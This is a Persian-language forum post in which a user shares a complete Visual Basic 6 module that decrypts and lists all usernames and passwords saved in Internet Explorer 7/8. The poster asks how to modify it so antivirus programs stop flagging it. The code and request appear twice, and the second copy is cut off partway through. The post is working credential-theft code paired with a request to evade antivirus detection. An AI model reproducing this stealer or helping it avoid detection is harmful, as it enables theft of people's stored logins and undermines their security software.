elimiz
سه شنبه 13 دی 1390, 16:03 عصر
سلام دوستان.کد زیر تمامی یوزر و پسوردهای ذخیره شده در اینترنت اکسپلورر رو نشون میده.
اما انتی ویروس ها بهش گیر میدن
میخواستم بدونم چیکار باید بکنم تا انتی بهش گیر نده ؟
یه راه حل پیشنهاد کنین دوستان
کجاشو حذف یا اضافه کنم؟
کد ماژول:
Option Explicit
' mIEPass.bas
' ----------------------------------------------------
' Description:
'
' Retrieves all saved passwords and credentials from
' Internet Explorer 7/8.
'
' Coded by: elimiz
'
Private Declare Sub CopyBytes Lib "msvbvm60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
'// crypt32.dll
Private Declare Function CryptUnprotectData Lib "crypt32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
'// advapi32.dll
'-- Registry
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
'-- Microsoft Cryptographic Provider
Private Declare Function CryptAcquireContext Lib "advapi32" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As Long, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32" (ByVal hProv As Long, ByVal Algid As Long, ByVal hKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32" (ByVal hHash As Long, ByVal pbData As Long, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptGetHashParam Lib "advapi32" (ByVal hHash As Long, ByVal dwParam As Long, ByVal pByte As Long, ByRef pdwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptSignHash Lib "advapi32" Alias "CryptSignHashA" (ByVal hHash As Long, ByVal dwKeySpec As Long, ByVal sDescription As Long, ByVal dwFlags As Long, ByVal pbSignature As Long, ByRef pdwSigLen As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32" (ByVal hHash As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CredEnumerate Lib "advapi32" Alias "CredEnumerateW" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'// wininet.dll
'-- History
Private Declare Function FindFirstUrlCacheEntry Lib "wininet" Alias "FindFirstUrlCacheEntryA" (ByVal lpszUrlSearchPattern As String, lpFirstCacheEntryInfo As Any, lpdwFirstCacheEntryInfobufDataerSize As Long) As Long
Private Declare Function FindNextUrlCacheEntry Lib "wininet" Alias "FindNextUrlCacheEntryA" (ByVal hEnumHandle As Long, lpNextCacheEntryInfo As Any, lpdwNextCacheEntryInfobufDataerSize As Long) As Long
'// misc
Private Declare Function lstrlenA Lib "kernel32" (ByVal ptr As Any) As Long
Private Declare Function lstrcpyA Lib "kernel32" (ByVal RetVal As String, ByVal ptr As Long) As Long
Private Declare Function SysAllocString Lib "oleaut32" (ByVal pOlechar As Long) As String
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type StringIndexHeader
dwWICK As Long
dwStructSize As Long
dwEntriesCount As Long
dwUnkId As Long
dwType As Long
dwUnk As Long
End Type
Private Type StringIndexEntry
dwDataOffset As Long
ftInsertDateTime As FILETIME
dwDataSize As Long
End Type
Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Private Type CREDENTIAL
dwFlags As Long
dwType As Long
lpstrTargetName As Long
lpstrComment As Long
ftLastWritten As FILETIME
dwCredentialBlobSize As Long
lpbCredentialBlob As Long
dwPersist As Long
dwAttributeCount As Long
lpAttributes As Long
lpstrTargetAlias As Long
lpUserName As Long
End Type
Private Type INTERNET_CACHE_ENTRY_INFO
dwStructSize As Long
lpszSourceUrlName As Long
lpszLocalFileName As Long
CacheEntryType As Long
dwUseCount As Long
dwHitRate As Long
dwSizeLow As Long
dwSizeHigh As Long
LastModifiedTime As FILETIME
ExpireTime As FILETIME
LastAccessTime As FILETIME
LastSyncTime As FILETIME
lpHeaderInfo As Long
dwHeaderInfoSize As Long
lpszFileExtension As Long
dwExemptDelta As Long
End Type
'// history private constants.
Private Const NORMAL_CACHE_ENTRY As Long = &H1
Private Const URLHISTORY_CACHE_ENTRY As Long = &H200000
'// registry private constants
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const IE_KEY As String = "Software\Microsoft\Internet Explorer\IntelliForms\Storage2"
Private Const READ_CONTROL As Long = &H20000
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_ENUMERATE_SUB_KEYS As Long = &H8
Private Const KEY_QUERY_VALUE As Long = &H1
Private Const KEY_NOTIFY As Long = &H10
Private Const KEY_READ As Long = ((READ_CONTROL Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const ERROR_SUCCESS As Long = 0&
'// cryptography private constants
Private Const PROV_RSA_FULL As Long = 1&
Private Const ALG_CLASS_HASH As Long = (4 * 2 ^ 13)
Private Const ALG_TYPE_ANY As Long = 0
Private Const ALG_SID_SHA As Long = 4
Private Const CALG_SHA As Long = (ALG_CLASS_HASH Or ALG_TYPE_ANY Or ALG_SID_SHA)
Private Const HP_HASHVAL As Long = &H2
Private hKey As Long
Private m_Data As String
Private m_Storage() As String
Private i As Integer '// counter variable. global scope 'cause I don't feel like redeclaring it
Public Function GetIE() As String
On Local Error Resume Next
Dim x As Integer
Dim strOut() As String, strSplit() As String, strHash() As String
m_Data = vbNullString: Erase m_Storage: hKey = 0 ' clear out previous data
Call GetStorage2 ' Intelliforms passwords
Call GetCredentials ' Authenticated passwords (like .htaccess related creds).
If Len(m_Data) = 0 Then Exit Function
strOut = Split(m_Data, vbFormFeed)
ReDim Preserve m_Storage(0 To UBound(strOut) - 1)
For i = 0 To UBound(strOut) - 1
strSplit = Split(strOut(i), vbVerticalTab)
For x = 0 To UBound(m_Storage) '.. Don't re-add similar data to queue.
If m_Storage(x) = strSplit(3) And m_Storage(x) <> "n/a" Then GoTo skipMsg
Next x
GetIE = GetIE & "URL: " & strSplit(0) & vbCrLf & "Username: " & strSplit(1) & vbCrLf & "Password: " & strSplit(2) & vbCrLf & "Hash: " & strSplit(3) & vbCrLf & vbCrLf
skipMsg:
m_Storage(i) = strSplit(3)
Next i
End Function
Private Sub GetCredentials()
Dim tmp As String, sRes As String, sURL As String, tAuth() As String
Dim ptrData As Long, dwNumCreds As Long, lpCredentials As Long
Dim bufData(36) As Integer, x As Integer
Dim m_Cred As CREDENTIAL, dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB
Call CredEnumerate(StrPtr("Microsoft_WinInet_*"), 0, dwNumCreds, lpCredentials)
If dwNumCreds Then '.. We have credentials listed.
For i = 0 To dwNumCreds - 1
CopyBytes 4&, ByVal VarPtr(ptrData), ByVal lpCredentials + (i) * 4: CopyBytes LenB(m_Cred), ByVal VarPtr(m_Cred), ByVal ptrData
sRes = CopyString(m_Cred.lpstrTargetName): dataEntry.cbData = 74
For x = 0 To 36: bufData(x) = CInt(Asc(Mid("abe2869f-9b47-4cd9-a358-c22904dba7f7" & vbNullChar, x + 1, 1)) * 4): Next
dataEntry.pbData = VarPtr(bufData(0)): dataIn.pbData = m_Cred.lpbCredentialBlob: dataIn.cbData = m_Cred.dwCredentialBlobSize: dataOut.cbData = 0: dataOut.pbData = 0
Call CryptUnprotectData(dataIn, ByVal 0&, ByVal VarPtr(dataEntry), ByVal 0&, ByVal 0&, 0, dataOut)
tmp = Space(dataOut.cbData \ 2 - 1)
CopyBytes dataOut.cbData, ByVal StrPtr(tmp), ByVal dataOut.pbData
tAuth = Split(tmp, ":"): x = InStr(Mid$(sRes, 19), "/")
If x > 0 Then
sURL = Mid$(sRes, 19, x - 1)
Else
sURL = Mid$(sRes, 19)
End If
m_Data = m_Data & sURL & vbVerticalTab & tAuth(0) & vbVerticalTab & tAuth(1) & vbVerticalTab & "n/a" & vbFormFeed
Next
End If
End Sub
Private Sub GetStorage2()
Dim tmp As String, sRet As String, sHash As String
Dim m_Cache As Long, dwSize As Long, cbData As Long
Dim x As Integer, z As Integer
Dim bufData() As Byte
Dim m_URL As INTERNET_CACHE_ENTRY_INFO
If RegOpenKeyEx(HKEY_CURRENT_USER, IE_KEY, 0&, KEY_READ, hKey) <> ERROR_SUCCESS Then Exit Sub
Do
sRet = Space(4096)
If RegEnumValue(hKey, z, sRet, 4096, 0, ByVal 0&, ByVal 0&, ByVal 0&) <> 0 Then Exit Do
sRet = StripTerminator(sRet) '... Remove vbNullChar's
m_Cache = FindFirstUrlCacheEntry(vbNullString, ByVal 0&, dwSize)
If dwSize Then
ReDim bufData(dwSize - 1): CopyBytes 4&, bufData(0), dwSize
m_Cache = FindFirstUrlCacheEntry(vbNullString, bufData(0), dwSize)
Else
Exit Sub '.. Recently cleared his history?
End If
Do
CopyBytes LenB(m_URL), m_URL, bufData(0)
If (m_URL.CacheEntryType And (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY)) = (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY) Then
tmp = Trim(GetStrFromPtrA(m_URL.lpszSourceUrlName))
x = InStr(tmp, "file://") ' Don't scan local files
If x Then GoTo Nxt
x = InStr(tmp, "@") ' Don't need "Visited" shit
If x Then tmp = Mid(tmp, x + 1)
x = InStr(tmp, "?") ' Algorithm doesn't use data past ?
If x Then tmp = Left(tmp, x - 1)
tmp = LCase(tmp) '.. Seems lower-case is the way to be for IE ;). This is 100% necessary.
sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
If sHash = sRet Then
RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
Else
tmp = tmp & "/" '.. Some urls are hashed with / appended at end. We just gotta add a / to every url we have and try or we fucked!
sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
If sHash = sRet Then
RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
End If
End If
End If
Nxt:
dwSize = 0: Call FindNextUrlCacheEntry(m_Cache, ByVal 0&, dwSize)
If dwSize Then
ReDim bufData(dwSize - 1)
CopyBytes 4&, bufData(0), dwSize
End If
Loop While FindNextUrlCacheEntry(m_Cache, bufData(0), dwSize)
z = z + 1
Loop
End Sub
Private Sub DecryptData(sURL As String, sHash As String, ByVal cbData As Long)
Dim sUsername As String, sPassword As String
Dim ptrData As Long, ptrEntry As Long
Dim hIndex As StringIndexHeader, eIndex As StringIndexEntry
Dim dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB
Dim bufData() As Byte
ReDim bufData(cbData - 1)
Call RegQueryValueEx(hKey, sHash, 0&, 3, bufData(0), cbData)
dataIn.cbData = cbData: dataIn.pbData = VarPtr(bufData(0))
dataEntry.cbData = (Len(sURL) + 1) * 2: dataEntry.pbData = StrPtr(sURL)
Call CryptUnprotectData(dataIn, 0&, ByVal VarPtr(dataEntry), 0&, 0&, 0&, dataOut)
ReDim bufData(dataOut.cbData - 1)
CopyBytes dataOut.cbData, bufData(0), ByVal dataOut.pbData
CopyBytes Len(hIndex), hIndex, bufData(bufData(0))
If hIndex.dwType = 1 Then
If hIndex.dwEntriesCount >= 2 Then ' We need both username & password
ptrEntry = VarPtr(bufData(bufData(0))) + hIndex.dwStructSize
ptrData = ptrEntry + hIndex.dwEntriesCount * Len(eIndex)
If ptrData = 0 Or ptrEntry = 0 Then Exit Sub
For i = 1 To hIndex.dwEntriesCount / 2
If i <> 1 Then ptrEntry = ptrEntry + Len(eIndex)
CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
sUsername = Space(eIndex.dwDataSize)
If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
CopyBytes eIndex.dwDataSize * 2, ByVal StrPtr(sUsername), ByVal ptrData + eIndex.dwDataOffset
Else
CopyBytes eIndex.dwDataSize, ByVal sUsername, ByVal ptrData + eIndex.dwDataOffset
End If
ptrEntry = ptrEntry + Len(eIndex)
CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
sPassword = Space(eIndex.dwDataSize)
If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
Call CopyBytes(eIndex.dwDataSize * 2, ByVal StrPtr(sPassword), ByVal ptrData + eIndex.dwDataOffset)
Else
Call CopyBytes(eIndex.dwDataSize, ByVal sPassword, ByVal ptrData + eIndex.dwDataOffset)
End If
m_Data = m_Data & sURL & vbVerticalTab & sUsername & vbVerticalTab & sPassword & vbVerticalTab & sHash & "/" & i & vbFormFeed
Next i
End If
End If
End Sub
Private Function GetSHA1Hash(ByVal pbData As Long, ByVal dwDataLen As Long) As String
Dim hProv As Long, hHash As Long
Dim bufData(20) As Byte
Call CryptAcquireContext(hProv, 0&, vbNullString, PROV_RSA_FULL, 0&)
Call CryptCreateHash(hProv, CALG_SHA, 0&, 0&, hHash)
Call CryptHashData(hHash, pbData, dwDataLen, 0&)
Call CryptGetHashParam(hHash, HP_HASHVAL, ByVal VarPtr(bufData(0)), 20, 0)
Call CryptDestroyHash(hHash)
Call CryptReleaseContext(hProv, 0&)
For i = 0 To 19: GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(bufData(i)), 2): Next
GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(CheckSum(GetSHA1Hash)), 2)
End Function
Private Function CheckSum(s As String) As Byte
Dim sum As Long
For i = 1 To Len(s) Step 2: sum = sum + Val("&H" & Mid(s, i, 2)): Next
CheckSum = CByte(sum Mod 256)
End Function
Private Function StripTerminator(s As String) As String
Dim z As Integer
z = InStr(1, s, vbNullChar)
If z > 0 Then
StripTerminator = Left$(s, z - 1)
Else
StripTerminator = s
End If
End Function
Private Function CopyString(ByVal ptr As Long) As String
If ptr Then
CopyString = StrConv(SysAllocString(ptr), vbFromUnicode)
Else
CopyString = vbNullString
End If
End Function
Private Function GetStrFromPtrA(ByVal lpszA As Long) As String
GetStrFromPtrA = String$(lstrlenA(ByVal lpszA), 0)
Call lstrcpyA(ByVal GetStrFromPtrA, ByVal lpszA)
End Function
اینم کد فرمممون:
Private Sub Command1_Click()
Text1.Text = mIEPass.GetIE & vbCrLf & "Done..."
End Sub
اما انتی ویروس ها بهش گیر میدن
میخواستم بدونم چیکار باید بکنم تا انتی بهش گیر نده ؟
یه راه حل پیشنهاد کنین دوستان
کجاشو حذف یا اضافه کنم؟
کد ماژول:
Option Explicit
' mIEPass.bas
' ----------------------------------------------------
' Description:
'
' Retrieves all saved passwords and credentials from
' Internet Explorer 7/8.
'
' Coded by: elimiz
'
Private Declare Sub CopyBytes Lib "msvbvm60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
'// crypt32.dll
Private Declare Function CryptUnprotectData Lib "crypt32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
'// advapi32.dll
'-- Registry
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
'-- Microsoft Cryptographic Provider
Private Declare Function CryptAcquireContext Lib "advapi32" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As Long, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32" (ByVal hProv As Long, ByVal Algid As Long, ByVal hKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32" (ByVal hHash As Long, ByVal pbData As Long, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptGetHashParam Lib "advapi32" (ByVal hHash As Long, ByVal dwParam As Long, ByVal pByte As Long, ByRef pdwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptSignHash Lib "advapi32" Alias "CryptSignHashA" (ByVal hHash As Long, ByVal dwKeySpec As Long, ByVal sDescription As Long, ByVal dwFlags As Long, ByVal pbSignature As Long, ByRef pdwSigLen As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32" (ByVal hHash As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CredEnumerate Lib "advapi32" Alias "CredEnumerateW" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'// wininet.dll
'-- History
Private Declare Function FindFirstUrlCacheEntry Lib "wininet" Alias "FindFirstUrlCacheEntryA" (ByVal lpszUrlSearchPattern As String, lpFirstCacheEntryInfo As Any, lpdwFirstCacheEntryInfobufDataerSize As Long) As Long
Private Declare Function FindNextUrlCacheEntry Lib "wininet" Alias "FindNextUrlCacheEntryA" (ByVal hEnumHandle As Long, lpNextCacheEntryInfo As Any, lpdwNextCacheEntryInfobufDataerSize As Long) As Long
'// misc
Private Declare Function lstrlenA Lib "kernel32" (ByVal ptr As Any) As Long
Private Declare Function lstrcpyA Lib "kernel32" (ByVal RetVal As String, ByVal ptr As Long) As Long
Private Declare Function SysAllocString Lib "oleaut32" (ByVal pOlechar As Long) As String
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type StringIndexHeader
dwWICK As Long
dwStructSize As Long
dwEntriesCount As Long
dwUnkId As Long
dwType As Long
dwUnk As Long
End Type
Private Type StringIndexEntry
dwDataOffset As Long
ftInsertDateTime As FILETIME
dwDataSize As Long
End Type
Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Private Type CREDENTIAL
dwFlags As Long
dwType As Long
lpstrTargetName As Long
lpstrComment As Long
ftLastWritten As FILETIME
dwCredentialBlobSize As Long
lpbCredentialBlob As Long
dwPersist As Long
dwAttributeCount As Long
lpAttributes As Long
lpstrTargetAlias As Long
lpUserName As Long
End Type
Private Type INTERNET_CACHE_ENTRY_INFO
dwStructSize As Long
lpszSourceUrlName As Long
lpszLocalFileName As Long
CacheEntryType As Long
dwUseCount As Long
dwHitRate As Long
dwSizeLow As Long
dwSizeHigh As Long
LastModifiedTime As FILETIME
ExpireTime As FILETIME
LastAccessTime As FILETIME
LastSyncTime As FILETIME
lpHeaderInfo As Long
dwHeaderInfoSize As Long
lpszFileExtension As Long
dwExemptDelta As Long
End Type
'// history private constants.
Private Const NORMAL_CACHE_ENTRY As Long = &H1
Private Const URLHISTORY_CACHE_ENTRY As Long = &H200000
'// registry private constants
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const IE_KEY As String = "Software\Microsoft\Internet Explorer\IntelliForms\Storage2"
Private Const READ_CONTROL As Long = &H20000
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_ENUMERATE_SUB_KEYS As Long = &H8
Private Const KEY_QUERY_VALUE As Long = &H1
Private Const KEY_NOTIFY As Long = &H10
Private Const KEY_READ As Long = ((READ_CONTROL Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const ERROR_SUCCESS As Long = 0&
'// cryptography private constants
Private Const PROV_RSA_FULL As Long = 1&
Private Const ALG_CLASS_HASH As Long = (4 * 2 ^ 13)
Private Const ALG_TYPE_ANY As Long = 0
Private Const ALG_SID_SHA As Long = 4
Private Const CALG_SHA As Long = (ALG_CLASS_HASH Or ALG_TYPE_ANY Or ALG_SID_SHA)
Private Const HP_HASHVAL As Long = &H2
Private hKey As Long
Private m_Data As String
Private m_Storage() As String
Private i As Integer '// counter variable. global scope 'cause I don't feel like redeclaring it
Public Function GetIE() As String
On Local Error Resume Next
Dim x As Integer
Dim strOut() As String, strSplit() As String, strHash() As String
m_Data = vbNullString: Erase m_Storage: hKey = 0 ' clear out previous data
Call GetStorage2 ' Intelliforms passwords
Call GetCredentials ' Authenticated passwords (like .htaccess related creds).
If Len(m_Data) = 0 Then Exit Function
strOut = Split(m_Data, vbFormFeed)
ReDim Preserve m_Storage(0 To UBound(strOut) - 1)
For i = 0 To UBound(strOut) - 1
strSplit = Split(strOut(i), vbVerticalTab)
For x = 0 To UBound(m_Storage) '.. Don't re-add similar data to queue.
If m_Storage(x) = strSplit(3) And m_Storage(x) <> "n/a" Then GoTo skipMsg
Next x
GetIE = GetIE & "URL: " & strSplit(0) & vbCrLf & "Username: " & strSplit(1) & vbCrLf & "Password: " & strSplit(2) & vbCrLf & "Hash: " & strSplit(3) & vbCrLf & vbCrLf
skipMsg:
m_Storage(i) = strSplit(3)
Next i
End Function
Private Sub GetCredentials()
Dim tmp As String, sRes As String, sURL As String, tAuth() As String
Dim ptrData As Long, dwNumCreds As Long, lpCredentials As Long
Dim bufData(36) As Integer, x As Integer
Dim m_Cred As CREDENTIAL, dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB
Call CredEnumerate(StrPtr("Microsoft_WinInet_*"), 0, dwNumCreds, lpCredentials)
If dwNumCreds Then '.. We have credentials listed.
For i = 0 To dwNumCreds - 1
CopyBytes 4&, ByVal VarPtr(ptrData), ByVal lpCredentials + (i) * 4: CopyBytes LenB(m_Cred), ByVal VarPtr(m_Cred), ByVal ptrData
sRes = CopyString(m_Cred.lpstrTargetName): dataEntry.cbData = 74
For x = 0 To 36: bufData(x) = CInt(Asc(Mid("abe2869f-9b47-4cd9-a358-c22904dba7f7" & vbNullChar, x + 1, 1)) * 4): Next
dataEntry.pbData = VarPtr(bufData(0)): dataIn.pbData = m_Cred.lpbCredentialBlob: dataIn.cbData = m_Cred.dwCredentialBlobSize: dataOut.cbData = 0: dataOut.pbData = 0
Call CryptUnprotectData(dataIn, ByVal 0&, ByVal VarPtr(dataEntry), ByVal 0&, ByVal 0&, 0, dataOut)
tmp = Space(dataOut.cbData \ 2 - 1)
CopyBytes dataOut.cbData, ByVal StrPtr(tmp), ByVal dataOut.pbData
tAuth = Split(tmp, ":"): x = InStr(Mid$(sRes, 19), "/")
If x > 0 Then
sURL = Mid$(sRes, 19, x - 1)
Else
sURL = Mid$(sRes, 19)
End If
m_Data = m_Data & sURL & vbVerticalTab & tAuth(0) & vbVerticalTab & tAuth(1) & vbVerticalTab & "n/a" & vbFormFeed
Next
End If
End Sub
Private Sub GetStorage2()
Dim tmp As String, sRet As String, sHash As String
Dim m_Cache As Long, dwSize As Long, cbData As Long
Dim x As Integer, z As Integer
Dim bufData() As Byte
Dim m_URL As INTERNET_CACHE_ENTRY_INFO
If RegOpenKeyEx(HKEY_CURRENT_USER, IE_KEY, 0&, KEY_READ, hKey) <> ERROR_SUCCESS Then Exit Sub
Do
sRet = Space(4096)
If RegEnumValue(hKey, z, sRet, 4096, 0, ByVal 0&, ByVal 0&, ByVal 0&) <> 0 Then Exit Do
sRet = StripTerminator(sRet) '... Remove vbNullChar's
m_Cache = FindFirstUrlCacheEntry(vbNullString, ByVal 0&, dwSize)
If dwSize Then
ReDim bufData(dwSize - 1): CopyBytes 4&, bufData(0), dwSize
m_Cache = FindFirstUrlCacheEntry(vbNullString, bufData(0), dwSize)
Else
Exit Sub '.. Recently cleared his history?
End If
Do
CopyBytes LenB(m_URL), m_URL, bufData(0)
If (m_URL.CacheEntryType And (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY)) = (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY) Then
tmp = Trim(GetStrFromPtrA(m_URL.lpszSourceUrlName))
x = InStr(tmp, "file://") ' Don't scan local files
If x Then GoTo Nxt
x = InStr(tmp, "@") ' Don't need "Visited" shit
If x Then tmp = Mid(tmp, x + 1)
x = InStr(tmp, "?") ' Algorithm doesn't use data past ?
If x Then tmp = Left(tmp, x - 1)
tmp = LCase(tmp) '.. Seems lower-case is the way to be for IE ;). This is 100% necessary.
sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
If sHash = sRet Then
RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
Else
tmp = tmp & "/" '.. Some urls are hashed with / appended at end. We just gotta add a / to every url we have and try or we fucked!
sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
If sHash = sRet Then
RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
End If
End If
End If
Nxt:
dwSize = 0: Call FindNextUrlCacheEntry(m_Cache, ByVal 0&, dwSize)
If dwSize Then
ReDim bufData(dwSize - 1)
CopyBytes 4&, bufData(0), dwSize
End If
Loop While FindNextUrlCacheEntry(m_Cache, bufData(0), dwSize)
z = z + 1
Loop
End Sub
Private Sub DecryptData(sURL As String, sHash As String, ByVal cbData As Long)
Dim sUsername As String, sPassword As String
Dim ptrData As Long, ptrEntry As Long
Dim hIndex As StringIndexHeader, eIndex As StringIndexEntry
Dim dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB
Dim bufData() As Byte
ReDim bufData(cbData - 1)
Call RegQueryValueEx(hKey, sHash, 0&, 3, bufData(0), cbData)
dataIn.cbData = cbData: dataIn.pbData = VarPtr(bufData(0))
dataEntry.cbData = (Len(sURL) + 1) * 2: dataEntry.pbData = StrPtr(sURL)
Call CryptUnprotectData(dataIn, 0&, ByVal VarPtr(dataEntry), 0&, 0&, 0&, dataOut)
ReDim bufData(dataOut.cbData - 1)
CopyBytes dataOut.cbData, bufData(0), ByVal dataOut.pbData
CopyBytes Len(hIndex), hIndex, bufData(bufData(0))
If hIndex.dwType = 1 Then
If hIndex.dwEntriesCount >= 2 Then ' We need both username & password
ptrEntry = VarPtr(bufData(bufData(0))) + hIndex.dwStructSize
ptrData = ptrEntry + hIndex.dwEntriesCount * Len(eIndex)
If ptrData = 0 Or ptrEntry = 0 Then Exit Sub
For i = 1 To hIndex.dwEntriesCount / 2
If i <> 1 Then ptrEntry = ptrEntry + Len(eIndex)
CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
sUsername = Space(eIndex.dwDataSize)
If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
CopyBytes eIndex.dwDataSize * 2, ByVal StrPtr(sUsername), ByVal ptrData + eIndex.dwDataOffset
Else
CopyBytes eIndex.dwDataSize, ByVal sUsername, ByVal ptrData + eIndex.dwDataOffset
End If
ptrEntry = ptrEntry + Len(eIndex)
CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
sPassword = Space(eIndex.dwDataSize)
If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
Call CopyBytes(eIndex.dwDataSize * 2, ByVal StrPtr(sPassword), ByVal ptrData + eIndex.dwDataOffset)
Else
Call CopyBytes(eIndex.dwDataSize, ByVal sPassword, ByVal ptrData + eIndex.dwDataOffset)
End If
m_Data = m_Data & sURL & vbVerticalTab & sUsername & vbVerticalTab & sPassword & vbVerticalTab & sHash & "/" & i & vbFormFeed
Next i
End If
End If
End Sub
Private Function GetSHA1Hash(ByVal pbData As Long, ByVal dwDataLen As Long) As String
Dim hProv As Long, hHash As Long
Dim bufData(20) As Byte
Call CryptAcquireContext(hProv, 0&, vbNullString, PROV_RSA_FULL, 0&)
Call CryptCreateHash(hProv, CALG_SHA, 0&, 0&, hHash)
Call CryptHashData(hHash, pbData, dwDataLen, 0&)
Call CryptGetHashParam(hHash, HP_HASHVAL, ByVal VarPtr(bufData(0)), 20, 0)
Call CryptDestroyHash(hHash)
Call CryptReleaseContext(hProv, 0&)
For i = 0 To 19: GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(bufData(i)), 2): Next
GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(CheckSum(GetSHA1Hash)), 2)
End Function
Private Function CheckSum(s As String) As Byte
Dim sum As Long
For i = 1 To Len(s) Step 2: sum = sum + Val("&H" & Mid(s, i, 2)): Next
CheckSum = CByte(sum Mod 256)
End Function
Private Function StripTerminator(s As String) As String
Dim z As Integer
z = InStr(1, s, vbNullChar)
If z > 0 Then
StripTerminator = Left$(s, z - 1)
